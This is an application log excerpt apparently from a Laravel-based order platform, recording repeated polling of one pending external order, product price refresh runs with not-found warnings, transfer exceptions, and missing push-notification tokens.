[2026-03-24 08:20:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"rsqSUnVOre060sEK5lQ2Ng9IdjiGdM6W","execution_time":"2026-03-24 08:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:20:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"rsqSUnVOre060sEK5lQ2Ng9IdjiGdM6W","execution_time":"2026-03-24 08:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:20:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"rsqSUnVOre060sEK5lQ2Ng9IdjiGdM6W","execution_time":"2026-03-24 08:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:20:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"rsqSUnVOre060sEK5lQ2Ng9IdjiGdM6W","execution_time":"2026-03-24 08:20:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 08:20:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:20:02] production.INFO: Executing GetProducts task...  
[2026-03-24 08:20:04] production.INFO: async() رجع: true  
[2026-03-24 08:20:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:20:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:20:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:20:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:20:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:20:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:20:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:20:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:20:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:20:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:20:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:22:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"fwd1mGqVw51ffxYBz3iXH1EauHQNVLcr","execution_time":"2026-03-24 08:22:03"} 
[2026-03-24 08:22:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"fwd1mGqVw51ffxYBz3iXH1EauHQNVLcr","execution_time":"2026-03-24 08:22:03","total_operations":1,"sites_count":1} 
[2026-03-24 08:22:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"fwd1mGqVw51ffxYBz3iXH1EauHQNVLcr","execution_time":"2026-03-24 08:22:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:22:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"fwd1mGqVw51ffxYBz3iXH1EauHQNVLcr","execution_time":"2026-03-24 08:22:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:22:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"fwd1mGqVw51ffxYBz3iXH1EauHQNVLcr","execution_time":"2026-03-24 08:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:22:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"fwd1mGqVw51ffxYBz3iXH1EauHQNVLcr","execution_time":"2026-03-24 08:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:22:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"fwd1mGqVw51ffxYBz3iXH1EauHQNVLcr","execution_time":"2026-03-24 08:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:22:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"fwd1mGqVw51ffxYBz3iXH1EauHQNVLcr","execution_time":"2026-03-24 08:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:22:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"fwd1mGqVw51ffxYBz3iXH1EauHQNVLcr","execution_time":"2026-03-24 08:22:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:24:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"woc25I2tygm7XWLkkDv5dWBhSA8xLXwE","execution_time":"2026-03-24 08:24:03"} 
[2026-03-24 08:24:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"woc25I2tygm7XWLkkDv5dWBhSA8xLXwE","execution_time":"2026-03-24 08:24:03","total_operations":1,"sites_count":1} 
[2026-03-24 08:24:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"woc25I2tygm7XWLkkDv5dWBhSA8xLXwE","execution_time":"2026-03-24 08:24:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:24:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"woc25I2tygm7XWLkkDv5dWBhSA8xLXwE","execution_time":"2026-03-24 08:24:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:24:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"woc25I2tygm7XWLkkDv5dWBhSA8xLXwE","execution_time":"2026-03-24 08:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:24:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"woc25I2tygm7XWLkkDv5dWBhSA8xLXwE","execution_time":"2026-03-24 08:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:24:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"woc25I2tygm7XWLkkDv5dWBhSA8xLXwE","execution_time":"2026-03-24 08:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:24:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"woc25I2tygm7XWLkkDv5dWBhSA8xLXwE","execution_time":"2026-03-24 08:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:24:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"woc25I2tygm7XWLkkDv5dWBhSA8xLXwE","execution_time":"2026-03-24 08:24:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:25:03] production.INFO: Executing GetProducts task...  
[2026-03-24 08:25:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:25:03] production.INFO: Executing GetProducts task...  
[2026-03-24 08:25:05] production.INFO: async() رجع: true  
[2026-03-24 08:25:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:25:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:25:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:25:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:25:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:25:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:25:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:25:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:25:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:25:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:25:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:26:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"h488rktHUzls666Ydqq4kdwB0Skr8oTm","execution_time":"2026-03-24 08:26:00"} 
[2026-03-24 08:26:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"h488rktHUzls666Ydqq4kdwB0Skr8oTm","execution_time":"2026-03-24 08:26:00","total_operations":1,"sites_count":1} 
[2026-03-24 08:26:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"h488rktHUzls666Ydqq4kdwB0Skr8oTm","execution_time":"2026-03-24 08:26:00","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:26:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"h488rktHUzls666Ydqq4kdwB0Skr8oTm","execution_time":"2026-03-24 08:26:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:26:00] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"h488rktHUzls666Ydqq4kdwB0Skr8oTm","execution_time":"2026-03-24 08:26:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:26:00] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"h488rktHUzls666Ydqq4kdwB0Skr8oTm","execution_time":"2026-03-24 08:26:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:26:00] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"h488rktHUzls666Ydqq4kdwB0Skr8oTm","execution_time":"2026-03-24 08:26:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:26:00] production.INFO: Batch query completed {"job":"Quryjob","job_id":"h488rktHUzls666Ydqq4kdwB0Skr8oTm","execution_time":"2026-03-24 08:26:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:26:00] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"h488rktHUzls666Ydqq4kdwB0Skr8oTm","execution_time":"2026-03-24 08:26:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:28:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"i0nKPXkkzkZNBqPFfQrqo0oWEXpVRnEg","execution_time":"2026-03-24 08:28:04"} 
[2026-03-24 08:28:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"i0nKPXkkzkZNBqPFfQrqo0oWEXpVRnEg","execution_time":"2026-03-24 08:28:04","total_operations":1,"sites_count":1} 
[2026-03-24 08:28:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"i0nKPXkkzkZNBqPFfQrqo0oWEXpVRnEg","execution_time":"2026-03-24 08:28:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:28:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"i0nKPXkkzkZNBqPFfQrqo0oWEXpVRnEg","execution_time":"2026-03-24 08:28:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:28:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"i0nKPXkkzkZNBqPFfQrqo0oWEXpVRnEg","execution_time":"2026-03-24 08:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:28:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"i0nKPXkkzkZNBqPFfQrqo0oWEXpVRnEg","execution_time":"2026-03-24 08:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:28:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"i0nKPXkkzkZNBqPFfQrqo0oWEXpVRnEg","execution_time":"2026-03-24 08:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:28:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"i0nKPXkkzkZNBqPFfQrqo0oWEXpVRnEg","execution_time":"2026-03-24 08:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:28:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"i0nKPXkkzkZNBqPFfQrqo0oWEXpVRnEg","execution_time":"2026-03-24 08:28:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:30:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Y5pxLhrKCVudZg18VI84wvVI0xYJ1NJX","execution_time":"2026-03-24 08:30:01"} 
[2026-03-24 08:30:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Y5pxLhrKCVudZg18VI84wvVI0xYJ1NJX","execution_time":"2026-03-24 08:30:01","total_operations":1,"sites_count":1} 
[2026-03-24 08:30:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Y5pxLhrKCVudZg18VI84wvVI0xYJ1NJX","execution_time":"2026-03-24 08:30:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:30:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Y5pxLhrKCVudZg18VI84wvVI0xYJ1NJX","execution_time":"2026-03-24 08:30:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:30:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Y5pxLhrKCVudZg18VI84wvVI0xYJ1NJX","execution_time":"2026-03-24 08:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:30:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Y5pxLhrKCVudZg18VI84wvVI0xYJ1NJX","execution_time":"2026-03-24 08:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:30:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Y5pxLhrKCVudZg18VI84wvVI0xYJ1NJX","execution_time":"2026-03-24 08:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:30:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Y5pxLhrKCVudZg18VI84wvVI0xYJ1NJX","execution_time":"2026-03-24 08:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:30:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Y5pxLhrKCVudZg18VI84wvVI0xYJ1NJX","execution_time":"2026-03-24 08:30:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:30:01] production.INFO: Executing GetProducts task...  
[2026-03-24 08:30:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:30:01] production.INFO: Executing GetProducts task...  
[2026-03-24 08:30:03] production.INFO: async() رجع: true  
[2026-03-24 08:30:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:30:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:30:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:30:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:30:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:30:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:30:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:30:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:30:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:30:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:30:04] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:32:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"CtdJDlAogfTpITM76FvA1CZHOAXr9Ctf","execution_time":"2026-03-24 08:32:01"} 
[2026-03-24 08:32:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"CtdJDlAogfTpITM76FvA1CZHOAXr9Ctf","execution_time":"2026-03-24 08:32:01","total_operations":1,"sites_count":1} 
[2026-03-24 08:32:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"CtdJDlAogfTpITM76FvA1CZHOAXr9Ctf","execution_time":"2026-03-24 08:32:01","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:32:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"CtdJDlAogfTpITM76FvA1CZHOAXr9Ctf","execution_time":"2026-03-24 08:32:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:32:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"CtdJDlAogfTpITM76FvA1CZHOAXr9Ctf","execution_time":"2026-03-24 08:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:32:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"CtdJDlAogfTpITM76FvA1CZHOAXr9Ctf","execution_time":"2026-03-24 08:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:32:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"CtdJDlAogfTpITM76FvA1CZHOAXr9Ctf","execution_time":"2026-03-24 08:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:32:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"CtdJDlAogfTpITM76FvA1CZHOAXr9Ctf","execution_time":"2026-03-24 08:32:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:32:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"CtdJDlAogfTpITM76FvA1CZHOAXr9Ctf","execution_time":"2026-03-24 08:32:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:32:25] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 08:32:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 645  
[2026-03-24 08:32:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1700  
[2026-03-24 08:34:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"J5eXmAvOrVUdyUP3RDqHwlHqJZfKrjRK","execution_time":"2026-03-24 08:34:02"} 
[2026-03-24 08:34:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"J5eXmAvOrVUdyUP3RDqHwlHqJZfKrjRK","execution_time":"2026-03-24 08:34:02","total_operations":1,"sites_count":1} 
[2026-03-24 08:34:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"J5eXmAvOrVUdyUP3RDqHwlHqJZfKrjRK","execution_time":"2026-03-24 08:34:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:34:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"J5eXmAvOrVUdyUP3RDqHwlHqJZfKrjRK","execution_time":"2026-03-24 08:34:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:34:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"J5eXmAvOrVUdyUP3RDqHwlHqJZfKrjRK","execution_time":"2026-03-24 08:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"J5eXmAvOrVUdyUP3RDqHwlHqJZfKrjRK","execution_time":"2026-03-24 08:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:34:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"J5eXmAvOrVUdyUP3RDqHwlHqJZfKrjRK","execution_time":"2026-03-24 08:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:34:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"J5eXmAvOrVUdyUP3RDqHwlHqJZfKrjRK","execution_time":"2026-03-24 08:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:34:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"J5eXmAvOrVUdyUP3RDqHwlHqJZfKrjRK","execution_time":"2026-03-24 08:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 08:35:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 08:35:02] production.INFO: Executing GetProducts task...  
[2026-03-24 08:35:04] production.INFO: async() رجع: true  
[2026-03-24 08:35:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 08:35:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 08:35:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 08:35:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 08:35:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 08:35:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 08:35:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 08:35:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 08:35:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 08:35:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 08:35:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 08:36:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"sga7W0K8qDohZeWwrsnSrdaaXqj0tyBp","execution_time":"2026-03-24 08:36:02"} 
[2026-03-24 08:36:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"sga7W0K8qDohZeWwrsnSrdaaXqj0tyBp","execution_time":"2026-03-24 08:36:02","total_operations":1,"sites_count":1} 
[2026-03-24 08:36:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"sga7W0K8qDohZeWwrsnSrdaaXqj0tyBp","execution_time":"2026-03-24 08:36:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:36:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"sga7W0K8qDohZeWwrsnSrdaaXqj0tyBp","execution_time":"2026-03-24 08:36:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:36:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"sga7W0K8qDohZeWwrsnSrdaaXqj0tyBp","execution_time":"2026-03-24 08:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:36:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"sga7W0K8qDohZeWwrsnSrdaaXqj0tyBp","execution_time":"2026-03-24 08:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:36:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"sga7W0K8qDohZeWwrsnSrdaaXqj0tyBp","execution_time":"2026-03-24 08:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:36:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"sga7W0K8qDohZeWwrsnSrdaaXqj0tyBp","execution_time":"2026-03-24 08:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 08:36:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"sga7W0K8qDohZeWwrsnSrdaaXqj0tyBp","execution_time":"2026-03-24 08:36:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:36:55] production.INFO: transferapi Exception: amounttransfer is not equal to mainminbalance {"exception":"amounttransfer is not equal to mainminbalance"} 
[2026-03-24 08:36:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 225  
[2026-03-24 08:36:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 771  
[2026-03-24 08:38:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"FTT9DTr5U1qq4LcSUQQ5M7V27CwXmmy1","execution_time":"2026-03-24 08:38:03"} 
[2026-03-24 08:38:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"FTT9DTr5U1qq4LcSUQQ5M7V27CwXmmy1","execution_time":"2026-03-24 08:38:03","total_operations":1,"sites_count":1} 
[2026-03-24 08:38:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"FTT9DTr5U1qq4LcSUQQ5M7V27CwXmmy1","execution_time":"2026-03-24 08:38:03","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-UQr6BxpX-1774324667"]} 
[2026-03-24 08:38:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"FTT9DTr5U1qq4LcSUQQ5M7V27CwXmmy1","execution_time":"2026-03-24 08:38:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 08:38:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"FTT9DTr5U1qq4LcSUQQ5M7V27CwXmmy1","execution_time":"2026-03-24 08:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 08:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"FTT9DTr5U1qq4LcSUQQ5M7V27CwXmmy1","execution_time":"2026-03-24 08:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 08:38:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"FTT9DTr5U1qq4LcSUQQ5M7V27CwXmmy1","execution_time":"2026-03-24 08:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 08:38:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"FTT9DTr5U1qq4LcSUQQ5M7V27CwXmmy1","execution_time":"2026-03-24 08:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
